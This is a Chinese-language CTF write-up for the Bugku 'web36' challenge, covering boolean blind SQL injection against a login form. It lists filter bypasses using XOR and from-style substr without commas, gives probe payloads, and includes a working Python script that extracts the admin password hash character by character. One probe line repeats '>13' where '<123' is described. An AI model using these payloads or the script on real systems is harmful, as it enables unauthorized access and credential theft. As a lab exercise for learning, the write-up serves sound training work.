[Bugku]web36(注入、命令执行) – 「配枪朱丽叶。」

Table of Contents

0x00 方法一

输入admin，密码随便填，得到：password error!!@_@

输入admin'，密码随便填，得到：username error!!@_@

输入admin'^'1'^'1，密码随便填，得到：password error!!@_@

输入admin'^'0'^'1，密码随便填，得到：username error!!@_@

搂一遍可用的字符串/函数，经测试ascii、substr、括号、select、下划线、=这些都可以用。此外，过滤了逗号、for、*、ord、or、+、union、information等。

写脚本，判断第一位的ascii：

admin'^(ascii(substr(database()from(1)))>13)^'1

回显password error!!@_@，说明库名的第一个字符的ascii大于13

admin'^(ascii(substr(database()from(1)))>13)^'1

回显username error!!@_@，说明库名的第一个字符的ascii小于123

同理，写脚本拿到密码的md5值：

import requests

url='http://114.67.246.176:15783/login.php'

flag=""
for j in range(1,50):
    for i in range(32,128):
            payload = "admin'^(ascii(substr((select(passwd)from(admin))from("+str(j)+")))="+str(i)+")^'1"
            data = {
                "uname": payload,
                "passwd": "123"
            }
            test = requests.post(url=url,data=data).text
            if 'password' in test:
                flag += chr(i)
                print(flag)
                break